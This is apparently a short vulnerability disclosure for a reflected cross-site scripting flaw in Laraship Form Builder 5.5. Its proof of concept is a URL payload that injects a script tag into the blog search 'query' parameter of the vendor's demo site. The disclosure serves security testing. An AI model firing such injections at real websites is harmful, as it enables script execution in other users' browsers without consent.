Laraship Form Builder version 5.5 suffers from a cross site scripting vulnerability.
9a77a74c7d630cc6608b10a5e3a399b9============================================================================================================================
| # Title : Laraship Form Builder 5.5 xss Vulnerability |
| # Author : indoushka |
| # Telegram : @indoushka |
| # Tested on : Win 10 X64 /Fr(Pro) |
| # Vendor : https://codecanyon.net/item/laraship-form-builder/21301038 |
| # Dork : n/a |
============================================================================================================================
poc :
[+] use payload : /blog?query=1'%22()%26%25<acx><script>alert(/indoushka/);</script>
http://formbuilder.laraship.com/blog?query=1%27%22()%26%25%3Cacx%3E%3Cscript%3Ealert(/indoushka/);%3C/script%3E
Greetz :----------------------------------------------------------------------------------------
|
jericho * Larry W. Cashdollar * 9aylas * djroot.dz *Gjoko 'LiquidWorm' Krstic |
|
================================================================================================